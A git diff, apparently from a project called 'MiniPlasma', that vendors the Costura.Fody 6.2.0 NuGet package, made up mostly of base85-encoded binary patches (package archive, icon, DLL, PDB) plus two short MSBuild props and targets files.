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 Q@Sg!#weMFAPGpq-1LEo!od5s; literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.props b/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.props new file mode 100644 index 0000000..ea96788 --- /dev/null +++ b/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.props @@ -0,0 +1,15 @@ + + + + netclassicweaver + netstandardweaver + + + + + + + \ No newline at end of file diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets b/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets new file mode 100644 index 0000000..e8adf78 --- /dev/null +++ b/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets @@ -0,0 +1,13 @@ + + + + true + + + + + + + + + \ No newline at end of file diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/icon.png b/MiniPlasma/packages/Costura.Fody.6.2.0/icon.png new file mode 100644 index 0000000000000000000000000000000000000000..e5fdc34ac266dc2692fb712d92d682e708ae1fb1 GIT binary patch literal 1518 zcmV004R> z004l5008;`004mK004C`008P>0026e000+ooVrmw00004XF*Lt006O$eEU(800001 zb5ch_0Itp)=>Px#24YJ`L;(K){{a7>y{D4^000SaNLh0L01m_e01m_fl`9S#000F= zNkl!ij3FOyCimmq`_3Q! zgh__`Chs@*ob&Fz@4h7vhuYA~(9c5uM;1o_qY^!U9*p6e6$6kSbUnHW{e=SYt6KDl zqSpi5V}jL^z<~^-*B8BBj(&r_uRX-QK0OeQn@%Npa zqeYXxFgIrNbd-rt9=*0R^0&Y|-qhBwlm+C$8%z{$E) z9po!{1!7PY3rNzHAtm@wfOM7^s;28R^cDqTM%5|H-1&5tdzu1SppK(!479Tvy;p%O zO!b_UO-XziEFH+O;V?rmeo!FgsRi9?q1|qDg90hN%pDR~LT4684<}(;YKCNCgaSz+ zs;EvlIF88aUWsE_XTZ%|#tQU*=m*+EW>=n*t}9VbtW_YhYtZr4bd|I+SQ3yOkc{ZM zRu?3bSqh{`?^YlByZ}`oMLG=0Y@jdEf{6|Vl8BP(F#(^WUqTryq3k^;B!(~NpQBms zArvaU6jWFo@fV&qHSs*!~ZDkTjo$&TD2gLNX3RO)t3Z#6k44~I($Px%yLzb{MGXo?SNSm1f z(hx|SnE+B{>Etykkn)rVJ984Xk}ECAK-LA?cCbbk_3cKPM3${b}NvX)#0h?X#_ua|B454(BrXt6v+E(0lx!&RBf$RAXAcX z7jCZtnJRT9#BjQmtyY1^*=vMu`20TWK&Y~61v%OWo@Wz%0--D9A&{q^!Q+k&K6i2$ z0hu#*?}k!Fv(!Vjf~*}JW~%z~Sph;<;}<}-Xc*@bOg-)*+K@$MB|Xa{2l7RsYa{wM z^y?UbR51)2iwjquPtEc7L!9gthy&3z$LI6J z?MaY5G!qpNntLBl@jeP&{R+gcet~3^IIT{i|4<-yL<#)6GAc3JAL}0lVpeo@{7ISh zKEc=&3X~9lm^h&e0jfYOeY+{-eJUM_WFUVt43mR-V+`fF0x3=R&>w@Hk<~G7`-uWc zr}G@|Z6@IfhH_nj%&vbSxgB9Ym#el#xnw&e3mRTYISEppFHZaE9`#h3(&W}vNH*Ya z%{mau5qmhU`_u#{d%BzIEO@*-*B6kRoGX487Q%1vXQEr{z6B4OP&P4_=5ZZ&K0Lg+4T4PoXhHqi`AD@V{ U>m-l*o&W#<07*qoM6N<$g5>a|F8}}l literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll b/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll new file mode 100644 index 0000000000000000000000000000000000000000..a448e65e7f0c65037a810ccf4417a91471527f76 GIT binary patch literal 5120 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 a$>m!F_gN!K?i+i;lFu5j|Ks^jWZ>WQ?OQnj literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb b/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb new file mode 100644 index 0000000000000000000000000000000000000000..9190320570fdba96b90e869d5e408f437e614ef9 GIT binary patch literal 8172 zcmaJ`2|yD^7v6AsA%Z9>9ta*3AtW3^M5~a5JAerSDi$}%0+A#eHwj9;Ktzy3L2ME6 zzymx$KvYzq9<5iwDjrz1s95V&t@q#G`g{Dd$qs}hHto8{yzjm5&AgfSW(X971=0{2 zLjDGTE1DDNn8u_tG#?NPWGQ$E0he>MSV(?54X*R#`*H*+05CK1S)d{$@?<4=M2g_I zSpsAOc#bC9gJ*?u!2J*K-e)v;50v7hvW@EUNqd7GI0b#oFJ75;eW4}u_Brqwi5r3- zeZd`wBSXPuPCb)%OK{nO%ZB)sE`+RWU4DQw7Zf`>Su~Hj50<39%YVv1a}jF)-rGc?Pfaf zBem$6nsZwxpj6{Y-;K|7t0pR^0jf}&NkDl(&Smd_$X)&64hQVyx^3}7S*IOf( z7fcOKA2QEs%y0GrT&h+9{sBrQCKF22L*+?$FCG7JO#Wu*suS~$PKu2yH!TzgR@Lwv z`fVBZ^7El5@og{Po^Z9KddG&k&r(UG5>-0TG5|8kWMu|8Ufdp2e0$5O>kAx8*M%dS z>uN*emYtgHe7Y-Reb6-bS}2->(LpgqbM`8z%i>jqkrJ?H$`2e=bcL2 zI`zQ9)%$H7?vJ|Px*_4+fbo&*O>yA@OFkyWP$f1{j;WL?R4zsdu_vA3L679d2&i|r zSd1V?Z(15?p+lnqDlk)pY86Hfs;!Rc3z_YiH!>eNn(zb-d7JJeIEitQT87D0N~bAHoY+$m5;UQekPxR#NYDmXLV`BBK$A{* zB_y~yO>s(5sT9g79v%d`h@LD_rKp8!B}RyFxeBPHi*T6-8Hyeh(8Eh8^!CP3lqK{P ziM)M945m*K_>bu=WMO{Z3=wF?e8qkY4_BvU%T~sxX}v}~5uiySkz#~9{NzKQOlP=z z(mf}8dNJrshUX*^iuy5=P;ZtmGs)N6&yOJzqr%Bd77M6l3YkoAPX^12g^3U;Do<9U z$r!?RMwFU)Bj_&1gz98>g;cFX6jD@`gcC9(K%UN4s1X9_2EpIWpUD6N>E{kQ zD@`H-%Pr}MCyUNxvL>-W5BYgc_VE;n#oibr$&cYZS?D7a`v@_SPz)TI%=Gs26rtUY z^eFWPOT8FNlE^V6h9AJ@x{)yy6A;M>;B$1JJrfyjkpl3)C&P`;jo=0d{#~?33p0_C z7{yNv=5qsLxO`om%tYoFTRgwm;`PNA?=QCae6eNn7g~V7IxWaX8BZc2a3!9kqQ^<( zUY_)50*t0gk_M)dSSkhCr^))}93%s*`Z?Awww2Wfmwz68@98S9E}2q<6H_4 zfwVBWtiOMsB?NEt?4`b!$DYmBnah;q_XC0C3_FB=WxuSHb}=wx--{Pz*>k%D=}HwQ zqX#GyY;x8tR#EalPz1)Y?_g^tu>+6ITYvFn$<}_9JR6rvF%cPkN;&|F)C57!I4yaI zJv?;sj(q2tQJaTl5BD0Dde8{AH^Al4Md!UAGoscC&nd@r(N-D(MB?&bOpXx}k)AQu zNS>EP!oZ+);kmDlbrozdf)yw*kpz`WzQx3PVArcdN6)W!38-wj?igD*HlrIXQ{Zyo 